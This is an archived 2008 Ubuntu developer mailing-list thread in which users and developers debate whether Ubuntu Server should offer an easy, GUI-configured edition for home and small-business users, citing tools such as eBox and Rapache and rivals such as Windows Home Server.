Disappointed with Ubuntu Server, could be used by such a wider audience
Folks, As a newbie to Ubuntu I have to say it is hard to believe that Ubuntu Desktop and Ubuntu Server come from the same stable. The Ubuntu server should come in two offerings; i.e. the unfriendly existing Ubuntu server, and, more importantly to the masses, a friendly pre-configured Ubuntu server that uses SME Server (http://smeserver.com) and ClarkConnect (http://clarkconnect.com) as a starting point only not crippled, and much better. It is only a matter of time before people start running servers from home (check out Windows Home Server and no doubt Apple will have something up its sleeves before very long too). Ubuntu server should be leading the way and definitely before Microsoft cooks up its next bit of mischief. The last thing people want is to have to mess around down in the bowels to configure the thing (should be easy). The server section of the 2007 "The Official Ubuntu Book" is way too vague too and designed to scare people from using the server. Preconfigure the thing, give it a GUI web admin, make it easy for someone to set up a Web server/Webmail/File server either in server only mode or server and gateway mode. All I should need to set up is a couple of users, provide the IP address and say whether I want RAID and maybe how I want the partitions configured (but with suggested recommendations along the way at every step). I have my own registered domain currently hosted with an ISP. I want to move it into my home. How to do it? That's where the focus should be. There are many, many thousands like me. Regards, Tony -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
I have the same sentiments. How does a normal computer user set up a web server, music server, file server, or a mail server with the current Ubuntu? I think Ubuntu server should come with an X11-based configuration GUI (and a comparable Web GUI) that lets you configure these things in a few clicks, and then shut down X. Or keep X running. X is very lightweight. Remco -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
Hello, On Thu, Jul 31, 2008 at 10:36 AM, Remco <[EMAIL PROTECTED]> wrote: > I have the same sentiments. How does a normal computer user set up a > web server, music server, file server, or a mail server with the > current Ubuntu? I think Ubuntu server should come with an X11-based > configuration GUI (and a comparable Web GUI) that lets you configure > these things in a few clicks, and then shut down X. Or keep X running. > X is very lightweight. > For specific information on configuring Ubuntu Server see the Ubuntu Server Guide [1]. If there are some subjects that are not covered that should be, I'd be glad to review any contributions. See the Server Team Knowledge Base page for some quick instructions for contributing to the Server Guide [2] Including X on Ubuntu Server has been debated multiple times. If you'd like to install a GUI on Ubuntu Server see the ServerGui wiki page [3]. Also, for remote web management you might take a look at eBox, and for just Apache GUI management the rapache project has been created. [1] https://help.ubuntu.com/8.04/serverguide/C/index.html [2] https://wiki.ubuntu.com/ServerTeam/KnowledgeBase#head-0ae127e06ffba31c94b458fbef6eb033e5d8461e [3] https://help.ubuntu.com/community/ServerGUI -- Party On, Adam -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
On Wed, Jul 30, 2008 at 8:14 PM, Anthony Watters <[EMAIL PROTECTED]> wrote: > The Ubuntu server should come in two offerings; i.e. the unfriendly existing > Ubuntu server, and, more importantly to the masses, a friendly > pre-configured Ubuntu server that uses SME Server (http://smeserver.com) and > ClarkConnect (http://clarkconnect.com) as a starting point only not > crippled, and much better. a) It's not unfriendly to those who run servers and know how these things are supposed to work. b) Servers absolutely should not come pre-configured, as that would mean that they were full of bloat and unnecessary applications (along with the security risks of having too many ports open), and would likely not be correctly configured for anyone. c) I don't know what SME Server even is, since they don't have a functional web site. Why would I trust anything like that? d) ClarkConnect looks largely like what I mentioned in b) - installing everything by default so you have as much bloat and open entry points as possible, something no server admin would touch with a 20-foot pole. > It is only a matter of time before people start running servers from home > (check out Windows Home Server and no doubt Apple will have something up its > sleeves before very long too). Ubuntu server should be leading the way and > definitely before Microsoft cooks up its next bit of mischief. The last > thing people want is to have to mess around down in the bowels to configure > the thing (should be easy). Most people use them for things like sharing files, which can be accomplished just as easily from a standard desktop installation if that's what you're going for. Also, Apple already has all the server functions built in, in a similar manner to Ubuntu - they just don't call it "Home Server Edition" and charge more for it. > The server section of the 2007 "The Official Ubuntu Book" is way too vague > too and designed to scare people from using the server. Server documentation is designed to teach server administrators how to use a new piece of software, not new home users how to become server administrators. What you are looking for is running an Ubuntu system that happens to perform some server functions, not an Ubuntu server. Those are in fact different things. > Preconfigure the thing, give it a GUI web admin, make it easy for someone to > set up a Web server/Webmail/File server either in server only mode or server > and gateway mode. All I should need to set up is a couple of users, provide > the IP address and say whether I want RAID and maybe how I want the > partitions configured (but with suggested recommendations along the way at > every step). I still don't know what you mean by "preconfigure". Shall someone from Canonical come out to survey my setup and interview me about my needs, go back to their office and configure it, then ship it out to me? No configuration will be shared from one user to another, so shipping anything by default would be worthless. If you need someone else to configure it, you want to hire an Ubuntu server administration consultant. Agreed with other posters that eBox would be worth a look for you, and that the ServerGUI wiki page would be a good read to start with. -- Tony Yarusso http://tonyyarusso.com/ -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Tony Yarusso wrote on 31/07/08 16:18: > > On Wed, Jul 30, 2008 at 8:14 PM, Anthony Watters > <[EMAIL PROTECTED]> wrote: >> >> The Ubuntu server should come in two offerings; i.e. the unfriendly >> existing Ubuntu server, and, more importantly to the masses, a >> friendly pre-configured Ubuntu server that uses SME Server >> (http://smeserver.com) and ClarkConnect (http://clarkconnect.com) as >> a starting point only not crippled, and much better. > > a) It's not unfriendly to those who run servers and know how these > things are supposed to work. That's begging the question: it's assuming that the only people who should use a server are those who have the time to learn how to set up Ubuntu Server in its current form. A few months ago I had a chat with one of the IT staff at my old high school. He uses a variety of Linux-based OSes, including Ubuntu (though he prefers Linux Mint). He'd like to use Ubuntu Server for the school network, and tried it, but had to give up after a few minutes because it had no graphical configuration. He just doesn't have that much time. So, they're still using Windows servers. >... > I still don't know what you mean by "preconfigure". Shall someone > from Canonical come out to survey my setup and interview me about my > needs, go back to their office and configure it, then ship it out to > me? No configuration will be shared from one user to another, so > shipping anything by default would be worthless. If you need someone > else to configure it, you want to hire an Ubuntu server administration > consultant. >... I'm glad that Ubuntu's desktop edition doesn't take that attitude. :-) Cheers - -- Matthew Paul Thomas http://mpt.net.nz/ -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFIkd726PUxNfU6ecoRAp+eAJ9eISXJdt4R8Q8tVS1+l9SOMlEoMQCfes8Q N5HNhCC2hKMGYKVDRIf94rw= =BFeT -END PGP SIGNATURE- -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
On Thu, 2008-07-31 at 10:18 -0500, Tony Yarusso wrote: > On Wed, Jul 30, 2008 at 8:14 PM, Anthony Watters > <[EMAIL PROTECTED]> wrote: > > The Ubuntu server should come in two offerings; i.e. the unfriendly existing > > Ubuntu server, and, more importantly to the masses, a friendly > > pre-configured Ubuntu server that uses SME Server (http://smeserver.com) and > > ClarkConnect (http://clarkconnect.com) as a starting point only not > > crippled, and much better. > > a) It's not unfriendly to those who run servers and know how these > things are supposed to work. > b) Servers absolutely should not come pre-configured, as that would > mean that they were full of bloat and unnecessary applications (along > with the security risks of having too many ports open), and would > likely not be correctly configured for anyone. > c) I don't know what SME Server even is, since they don't have a > functional web site. Why would I trust anything like that? > d) ClarkConnect looks largely like what I mentioned in b) - > installing everything by default so you have as much bloat and open > entry points as possible, something no server admin would touch with a > 20-foot pole. > Wow, this response seems to completely missed the entire point. Lets start again. Yes, contrary to popular "geek" culture, there are people that would like to: A) Install a home server from CD B) Login and be presented with a list of options for configuring that server C) Not have to understand how to run the server at the "guts" level. Do you want to shared your music on your network? Yes Where is your music located? Done Do you want to share files with others on your network? Yes Fine -> Proceed to share definitions. Define file locations and security Would you like to run a web server? Yes Fine this is now set up and you can connect here: Ubuntu does NOT have anything like this at the moment and they should seriously think about it. Other home server software kicks there collective butt. This is not about running an enterprise/business server which I agree should be understood at a deeper level. It is about giving home users a simple, nice way to get some functionality from Ubuntu. Cheers -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
George Farris escreveu: > > Wow, this response seems to completely missed the entire point. > > Lets start again. Yes, contrary to popular "geek" culture, there are > people that would like to: > > A) Install a home server from CD > B) Login and be presented with a list of options for configuring that > server > C) Not have to understand how to run the server at the "guts" level. > Ah, so you're talking about a completely different product (or version) here. In this case, there's nothing to be disappointed with because that's not what Ubuntu Server was created for. On the other hand, your idea makes sense and should be discussed, sure. []s Adilson. -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
On Thursday 31 July 2008 12:23, George Farris wrote: > On Thu, 2008-07-31 at 10:18 -0500, Tony Yarusso wrote: > > On Wed, Jul 30, 2008 at 8:14 PM, Anthony Watters > > > > <[EMAIL PROTECTED]> wrote: > > > The Ubuntu server should come in two offerings; i.e. the unfriendly > > > existing Ubuntu server, and, more importantly to the masses, a friendly > > > pre-configured Ubuntu server that uses SME Server > > > (http://smeserver.com) and ClarkConnect (http://clarkconnect.com) as a > > > starting point only not crippled, and much better. > > > > a) It's not unfriendly to those who run servers and know how these > > things are supposed to work. > > b) Servers absolutely should not come pre-configured, as that would > > mean that they were full of bloat and unnecessary applications (along > > with the security risks of having too many ports open), and would > > likely not be correctly configured for anyone. > > c) I don't know what SME Server even is, since they don't have a > > functional web site. Why would I trust anything like that? > > d) ClarkConnect looks largely like what I mentioned in b) - > > installing everything by default so you have as much bloat and open > > entry points as possible, something no server admin would touch with a > > 20-foot pole. > > Wow, this response seems to completely missed the entire point. > > Lets start again. Yes, contrary to popular "geek" culture, there are > people that would like to: > > A) Install a home server from CD > B) Login and be presented with a list of options for configuring that > server > C) Not have to understand how to run the server at the "guts" level. > > Do you want to shared your music on your network? > Yes > Where is your music located? > Done > > Do you want to share files with others on your network? > Yes > Fine -> Proceed to share definitions. > Define file locations and security > > Would you like to run a web server? > Yes > Fine this is now set up and you can connect here: > > Ubuntu does NOT have anything like this at the moment and they should > seriously think about it. Other home server software kicks there > collective butt. > > This is not about running an enterprise/business server which I agree > should be understood at a deeper level. It is about giving home users a > simple, nice way to get some functionality from Ubuntu. Generally you can do any server things from a desktop if you install the needed things. For easy Apache configurations there is: https://launchpad.net/ubuntu/+source/rapache There's a pending request to have it backported to Hardy. What's needed are people who understand the under the hood part of servers well enough to write such a thing and also care enough about the GUI experience to do it. Ubuntu Server is a young project and is headed toward being able to support such things, but it won't happen overnight. What we lack isn't ideas or understanding of the need, but people to do the actual work to provide it. Scott K -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
On Thu, 2008-07-31 at 12:38 -0400, Scott Kitterman wrote: > > This is not about running an enterprise/business server which I agree > > should be understood at a deeper level. It is about giving home users a > > simple, nice way to get some functionality from Ubuntu. > > Generally you can do any server things from a desktop if you install the > needed things. For easy Apache configurations there is: > > https://launchpad.net/ubuntu/+source/rapache > > There's a pending request to have it backported to Hardy. > > What's needed are people who understand the under the hood part of servers > well enough to write such a thing and also care enough about the GUI > experience to do it. Ubuntu Server is a young project and is headed toward > being able to support such things, but it won't happen overnight. > > What we lack isn't ideas or understanding of the need, but people to do the > actual work to provide it. Yes it's true and I do understand this. We also need to have people understand that the server market is split into pieces. The enterprise,business,home servers should essentially be two or three different configurations of Ubuntu. Take a look at the Microsoft home server project. http://www.microsoft.com/windows/products/winfamily/windowshomeserver/default.mspx It is light years ahead of Ubuntu server for the **average** home user, not the geek home user. It's a market that can't be ignored. I'm sure you are all aware of this anyway, it was the post that users should just learn to configure the server which misses the whole MS Home Server idea and opportunity. "Market share" are key words. Cheers -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
On Wed, Jul 30, 2008 at 06:14:06PM -0700, Anthony Watters wrote: > The Ubuntu server should come in two offerings; i.e. the unfriendly existing > Ubuntu server, and, more importantly to the masses, a friendly pre-configured > Ubuntu server that uses SME Server (http://smeserver.com) and ClarkConnect > (http://clarkconnect.com) as a starting point only not crippled, and much > better. Thanks for the input. Note that's the wrong URL for the CentOS-based SME Server, aka E-smith. See http://www.smeserver.org/ http://en.wikipedia.org/wiki/SME_Server http://distrowatch.com/table.php?distribution=smeserver Many of us agree that a really friendly Ubuntu offering for the home or small business server market is a high priority, and we've been tossing around ideas for some time now. What we really need is more testers and contributors to eBox, and some more upgraded specs along the lines of https://wiki.ubuntu.com/UbuntuEasyBusinessServer https://wiki.ubuntu.com/EboxSpec Please join the Server Team and get involved! https://wiki.ubuntu.com/ServerTeam Cheers, Neal McBurnett http://mcburnett.org/neal/ > It is only a matter of time before people start running servers from home > (check out Windows Home Server and no doubt Apple will have something up its > sleeves before very long too). Ubuntu server should be leading the way and > definitely before Microsoft cooks up its next bit of mischief. The last thing > people want is to have to mess around down in the bowels to configure the > thing > (should be easy). > > The server section of the 2007 "The Official Ubuntu Book" is way too vague too > and designed to scare people from using the server. > > Preconfigure the thing, give it a GUI web admin, make it easy for someone to > set up a Web server/Webmail/File server either in server only mode or server > and gateway mode. All I should need to set up is a couple of users, provide > the > IP address and say whether I want RAID and maybe how I want the partitions > configured (but with suggested recommendations along the way at every step). > > I have my own registered domain currently hosted with an ISP. I want to move > it > into my home. How to do it? That's where the focus should be. There are many, > many thousands like me. -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
George Farris wrote: > Lets start again. Yes, contrary to popular "geek" culture, there are > people that would like to: > > A) Install a home server from CD > B) Login and be presented with a list of options for configuring that > server > C) Not have to understand how to run the server at the "guts" level. > > Do you want to shared your music on your network? > Yes > Where is your music located? > Done > > Do you want to share files with others on your network? > Yes > Fine -> Proceed to share definitions. > Define file locations and security > > Would you like to run a web server? > Yes > Fine this is now set up and you can connect here: It sounds like you're asking for gnome-app-install (the Add/Remove application in the main menu) to include Apache in its application list, and to add whatever bits and pieces are necessary for Samba and related packages to be counted as "supported applications". If someone from the gnome-app-install team is listening, they might be able to tell you how much technical know-how is needed to make the above happen. Otherwise, you could e-mail one of them or post a question asking how you'd get started on it: https://answers.launchpad.net/gnome-app-install Either way, I think this is a good idea, and I'm glad you volunteered to do something about it :p - Andrew -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
On Thu, 2008-07-31 at 18:09 +0100, Andrew Sayers wrote: > George Farris wrote: > > Lets start again. Yes, contrary to popular "geek" culture, there are > > people that would like to: > > > > A) Install a home server from CD > > B) Login and be presented with a list of options for configuring that > > server > > C) Not have to understand how to run the server at the "guts" level. > > > > Do you want to shared your music on your network? > > Yes > > Where is your music located? > > Done > > > > Do you want to share files with others on your network? > > Yes > > Fine -> Proceed to share definitions. > > Define file locations and security > > > > Would you like to run a web server? > > Yes > > Fine this is now set up and you can connect here: > > It sounds like you're asking for gnome-app-install (the Add/Remove > application in the main menu) to include Apache in its application list, > and to add whatever bits and pieces are necessary for Samba and related > packages to be counted as "supported applications". > > If someone from the gnome-app-install team is listening, they might be > able to tell you how much technical know-how is needed to make the above > happen. Otherwise, you could e-mail one of them or post a question > asking how you'd get started on it: > > https://answers.launchpad.net/gnome-app-install > > Either way, I think this is a good idea, and I'm glad you volunteered to > do something about it :p Hahaha, good one Andrew. Seems to me there was an Ubuntu home server team having a go at this a few years ago but...not sure what happened to them. I think this goes beyond gnome-app-install a fair ways. Maybe as a first step a script would work. Then expand upon that one at a time. Rapache might work for Apache but then it might be too complex for a home server. I'll think about it. Thanks for the encouragement. George -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
Scott Kitterman, on Thu Jul 31 17:38:30 BST 2008 > Generally you can do any server things from a desktop if you install the > needed things. For easy Apache configurations there is: > > https://launchpad.net/ubuntu/+source/rapache > > There's a pending request to have it backported to Hardy. > > What's needed are people who understand the under the hood part of servers > well enough to write such a thing and also care enough about the GUI > experience to do it. Ubuntu Server is a young project and is headed toward > being able to support such things, but it won't happen overnight. > > What we lack isn't ideas or understanding of the need, but people to do the > actual work to provide it. > > Scott K Hello, I am one of the developers of Rapache. I subscribed this ml just to answer ScottK and drop my 2 cents on the topic. I am likely to keep my subscription for the next week, if you like to reply. Disclaimer What follows may be a little delirious, but took me hours to put it together, so I sending it straight away. I'll post a more lucid rewrite on ubuntuweblogs when I get the time. And maybe open a blueprint about this. I really don't know if I am allowed to post on this mailing list, so bear with me if I am out of place. In what follows, I'll take Rapache as an example, but the point I'd like to make is, of course, general. I'd like to respectfully disagree with ScottK. Linux in general (as well as Ubuntu) generally lacks the understanding of the need of such desktop-to-server applications. The proof is, more than the lacking of such applications, the fact that Ubuntu lacks a related workgroup/team. Did I miss it ? Resources are of course limited and all things have a priority. The lack of a workgroup dedicated to 'develop guis to configure server things' just show they don't seem important enough at the moment. Have you ever seen a comment like this ? http://www.reddit.com/comments/6ncun/rapache_is_a_simple_apache_administration_tool_it/c04cxa1 I guess you have, and someone of you could even agree. As Bud Roth points, the point raised by Scottk doesn't seems really a lacking of ubuntu-server group itself. Let me elaborate: I had the pleasure to quickly present Rapache to the ubuntu-server meeting. They were really kind to me but became evident that a Gnome gui to configure Apache was not something inherently related to the #ubuntu-server workgroup. I then asked what was the right irc channel / workgroup to discuss this kind of application. The answer was Rapache seemed to be something in between ubuntu-server and ubuntu-desktop. Who's going to care about taking care of this kind of applications in Ubuntu? My experience What do I agree with ScottK is the wider audience thing. I used to work in a non-tech savy environment (a computer magazines publisher, lol). Some facts about it: 1) I could get permission to use Ubuntu as local network web-development server, as long as I provided to perform the actual installation myself. 2) The only thing I got shouted about in the whole career there was.. daring to install ubuntu on my workstation. 3) Our (windows) sysadmin installed Ubuntu on a computer to be run Vmware machines on it. It choose Ubuntu because a) some colleague dropped some installation cd's on our desks, one day. b) I could help him with ubuntu related issues much better than with fedora/suse/whatever related ones. 4) Sysadmin had to configure Samba shares to connect to a given domain with certain permissions. He was shocked by the fact to not having a gui to perform the operations. After a while he found some gui utility in synaptic and felt quite happy with the result. He felt much more in control with a gui than with command line thinkering. Conclusions: == People do fear what they don't know. I got shouted because my coordinator never tried how good it feels like to work on a ubuntu workstation (no more putty, nautilus ssh integration etc). (a) The sysadmin was actually happy to have guis to configure local network things (4). It's only complain is not having Gui for *anything* like it happens on Windows 2000/NT. People don't know about linux, they won't try it if it doesn't allow them to get their stuff done. What the reasons are for a sysadmin to use (paid licensed) Windows instead of Linux ? GUI. And things they feel in control on (when they don't, point 2) happens) Ignorance has reasons behind it - people don't want to learn. Bad, but we could get them as users anyway. Why not ? - people has stuff to get done, and no time to learn. - people has to take responsibility on any choice they make. They would like to switch but they have delivery-schedules. With a gui they can do things easily and follow best practices at the very same time. (i.e. Rapache detects if you have virtualhosts .conf present only in sites-enabled and offers the user to normalize the situation). And they will be able to learn more throughout t
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
Folks, First an apology; when I said in the subject line of my post "Disappointed with Ubuntu Server..." I did not mean to imply at all that Ubuntu Server is an inferior product, far from it, merely that in its present offering it is simply not suitable for use by the masses (an untapped new market, although it won't remain untapped for very long). I am impressed with Ubuntu Desktop which naturally led me to look at Ubuntu Server and was surprised that there isn't a ClarkConnect type offering for Ubuntu Server when there really should be. Home users/SOHO business and small businesses simply doen't have the time or necessarily the knowledge/skills to do the things necessary to configure Ubuntu Server to create a secure Web Server/WebMail Server/File Server in say either server only mode or a server + gateway mode. For one thing small businesses don't have access to the resources of big business. Microsoft is surely trying to start tapping into this massive new market: http://www.microsoft.com/windows/products/winfamily/windowshomeserver/default.mspx Also, Microsoft is up to its old tricks with things like PNRP (clearly it wants to make the Internet its own by making the existing Internet way obsolete over time - much like it did to Novell Netware), and as usual it is doing this quietly so that when people realise and try to do something about it it will be too late. If Ubuntu Server doesn't offer a ClarkConnect type installation it will miss a massive opportunity. And the last thing I'd like to see is Microsoft win in this space. To those seeking my involvement, sure, I would be happy to get involved and test such a system if you guys create it but I am not a developer. In the meantime it looks like ClarkConnect is probably all I have available to use. By the way, SME Server is called SME Server because it is aimed at small to medium businesses. Small to medium businesses require a functioning Web Server/Webmail Server/File Server but they mostly won't be attempting to use multiple processors, multiple machines and all the other stuff that big enterprises are interested in. The Web site of a small business is likely to use maybe 20 or so html pages with some PHP forms and that's about it, and they probably won't get that many hits on their Web site, and maybe max of 40 or so users i.e. they don't need a sledge hammer to crack a nut, but they do need a big helping hand to hide them from the bowels of the server and the command line. Regards, Tony - Original Message From: Anthony Watters <[EMAIL PROTECTED]> To: ubuntu-devel-discuss@lists.ubuntu.com Cc: [EMAIL PROTECTED] Sent: Thursday, July 31, 2008 9:14:06 AM Subject: Disappointed with Ubuntu Server, could be used by such a wider audience Folks, As a newbie to Ubuntu I have to say it is hard to believe that Ubuntu Desktop and Ubuntu Server come from the same stable. The Ubuntu server should come in two offerings; i.e. the unfriendly existing Ubuntu server, and, more importantly to the masses, a friendly pre-configured Ubuntu server that uses SME Server (http://smeserver.com) and ClarkConnect (http://clarkconnect.com) as a starting point only not crippled, and much better. It is only a matter of time before people start running servers from home (check out Windows Home Server and no doubt Apple will have something up its sleeves before very long too). Ubuntu server should be leading the way and definitely before Microsoft cooks up its next bit of mischief. The last thing people want is to have to mess around down in the bowels to configure the thing (should be easy). The server section of the 2007 "The Official Ubuntu Book" is way too vague too and designed to scare people from using the server. Preconfigure the thing, give it a GUI web admin, make it easy for someone to set up a Web server/Webmail/File server either in server only mode or server and gateway mode. All I should need to set up is a couple of users, provide the IP address and say whether I want RAID and maybe how I want the partitions configured (but with suggested recommendations along the way at every step). I have my own registered domain currently hosted with an ISP. I want to move it into my home. How to do it? That's where the focus should be. There are many, many thousands like me. Regards, Tony -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
On Thursday 31 July 2008 18:59, tacone wrote: > Scott Kitterman, on Thu Jul 31 17:38:30 BST 2008 > > > Generally you can do any server things from a desktop if you install the > > needed things. For easy Apache configurations there is: > > > > https://launchpad.net/ubuntu/+source/rapache > > > > There's a pending request to have it backported to Hardy. > > > > What's needed are people who understand the under the hood part of > > servers well enough to write such a thing and also care enough about the > > GUI experience to do it. Ubuntu Server is a young project and is headed > > toward being able to support such things, but it won't happen overnight. > > > > What we lack isn't ideas or understanding of the need, but people to do > > the actual work to provide it. > > > > Scott K > > Hello, I am one of the developers of Rapache. I subscribed this ml > just to answer ScottK and drop my 2 cents on the topic. I am likely to > keep my subscription for the next week, if you like to reply. > > Disclaimer > > What follows may be a little delirious, but took me hours to put it > together, so I sending it straight away. > I'll post a more lucid rewrite on ubuntuweblogs when I get the time. > And maybe open a blueprint about this. I really don't know if I am > allowed to post on this mailing list, so bear with me if I am out of > place. > In what follows, I'll take Rapache as an example, but the point I'd > like to make is, of course, general. > > I'd like to respectfully disagree with ScottK. > Linux in general (as well as Ubuntu) generally lacks the understanding > of the need of such desktop-to-server applications. > The proof is, more than the lacking of such applications, the fact > that Ubuntu lacks a related workgroup/team. Did I miss it ? We actually agree. This type of discussion was a major focus of discussion in the server team at the last UDS in Prague. We all recognize the problem. > Resources are of course limited and all things have a priority. The > lack of a workgroup dedicated to 'develop guis to configure server > things' just show they don't seem important enough at the moment. > > Have you ever seen a comment like this ? > http://www.reddit.com/comments/6ncun/rapache_is_a_simple_apache_administrat >ion_tool_it/c04cxa1 I guess you have, and someone of you could even agree. That doesn't mean there aren't people that don't get it. > As Bud Roth points, the point raised by Scottk doesn't seems really a > lacking of ubuntu-server group itself. > > Let me elaborate: I had the pleasure to quickly present Rapache to the > ubuntu-server meeting. They were really kind to me but became evident > that a Gnome gui to configure Apache was not something inherently > related to the #ubuntu-server workgroup. > I then asked what was the right irc channel / workgroup to discuss > this kind of application. I think it was. To date the development of Ubuntu Server has focused on development of capabilities of individual Ubunu Servers. We talked a lot at UDS about giving better administration tools that were not on the same box (SOHO and Enterprise have different needs in this space, but fundamentally it's about a different axis of the problem than how well does this one box integrate with itself). > The answer was Rapache seemed to be something in between ubuntu-server > and ubuntu-desktop. > Who's going to care about taking care of this kind of applications in > Ubuntu? Good question. I think the initial answer is whoever cares enough to work on the problem and a community will form around this. > My experience > > What do I agree with ScottK is the wider audience thing. I used to > work in a non-tech savy environment (a computer magazines publisher, > lol). Some facts about it: > > 1) I could get permission to use Ubuntu as local network > web-development server, as long as I provided to perform the actual > installation myself. > 2) The only thing I got shouted about in the whole career there was.. > daring to install ubuntu on my workstation. > 3) Our (windows) sysadmin installed Ubuntu on a computer to be run > Vmware machines on it. It choose Ubuntu because > a) some colleague dropped some installation cd's on our desks, one day. > b) I could help him with ubuntu related issues much better than with > fedora/suse/whatever related ones. > 4) Sysadmin had to configure Samba shares to connect to a given domain > with certain permissions. He was shocked by the fact to not having a > gui to perform the operations. After a while he found some gui utility > in synaptic and felt quite happy with the result. He felt much more in > control with a gui than with command line thinkering. Two decades of Windows thinking have taught people that their systems are essentially incomprehensible black boxes that they cannot understand. This is not true of Linux and other Unix like operating systems. I was helping someone out this week on #ubuntu-server with a Postfix problem.
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
This thread pokes quite nicely at the idea of an Ubuntu home server metapackage to complement the rest of the desktop. I think this could be a very edgy move if approached correctly. First of all, I am amongst those who think this should have nothing to do with Ubuntu Server. Now that's out of the way, how about having both a desktop and a server preconfigured to detect and talk with each other? For example, new desktop users get logins set up on the server for all services at once instead of needing to prod it with commands for six hours. The server could handle remote calendars for Evolution (a concept which I have yet to wrap my own head around), generic file storage. Maybe client side scripts could automatically request that it download software to, for example, seamlessly have Workrave integrated across all connected computers. It could keep its IP known and continually update clients on what it is, just in case Internet access is necessary, and keep track of connected clients such that it knows certain accounts on various devices to all associate with the same user account on itself. (I have a little concept bumbling along for a sort of free, distributed mesh-like DNS system that relies on trusted hosts - eg: Friends' devices. That would be cool!) As something aimed straight at the Ubuntu desktop, this could use Avahi from top to bottom to expose services and be automatically configured by scripts on clients. Maybe Nautilus could list another Place which for the server's public files. It would not be just 'vanilla Apache and PHP and MySQL for your web development convenience. I think that could be a pretty powerful thing. There is a lot of software that needs repetitive configuration, a problem which could be overcome by a server that complements Ubuntu and is entirely powered by autodetection instead of needing convoluted guides and config files. I mention that this could be edgy, because right now the non-free competition are working really hard on their online services and big screen media centres. This sort of thing for Ubuntu would be an interesting shot back, encouraging the idea of individual users owning single low-power servers like Linutop, hooked up to their routers (perhaps placed right below them, or acting as routers themselves) to centralize all that stuff. All the devices in one's possession are then working on a convenient client-server model. In contrast to the competition's centralization, this would be a single personal server that can be trusted and that can be customized, has no subscription fees and prevents the confusing dilution that occurs when one's identity spreads over hundreds of competing online services, which is bound to happen as long as we continue to use the current poorly integrated web based applications. Basically, I agree that there should be a project dedicated to a pre-configured personal server system, because that would change the entire world... but calling it Ubuntu Server would very much limit its growing room. Bye, -Dylan PS: Sorry about the illegible stream of consciousness writing. Hopefully I have at least conveyed how exciting a dead easy one-click server that integrates with Ubuntu Desktop would be. signature.asc Description: This is a digitally signed message part -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
On Thu, 31 Jul 2008 17:38:53 -0700 Dylan McCall <[EMAIL PROTECTED]> wrote: > >This thread pokes quite nicely at the idea of an Ubuntu home server >metapackage to complement the rest of the desktop. I think this could be >a very edgy move if approached correctly. > >First of all, I am amongst those who think this should have nothing to >do with Ubuntu Server. > Excellent. I've seen people think they could do integration without knowing anything about the thing they were integrating. Such stories do not typically have a happy ending. >Now that's out of the way, how about having both a desktop and a server >preconfigured to detect and talk with each other? For example, new >desktop users get logins set up on the server for all services at once >instead of needing to prod it with commands for six hours. The server >could handle remote calendars for Evolution (a concept which I have yet >to wrap my own head around), generic file storage. Maybe client side >scripts could automatically request that it download software to, for >example, seamlessly have Workrave integrated across all connected >computers. It could keep its IP known and continually update clients on >what it is, just in case Internet access is necessary, and keep track of >connected clients such that it knows certain accounts on various devices >to all associate with the same user account on itself. (I have a little >concept bumbling along for a sort 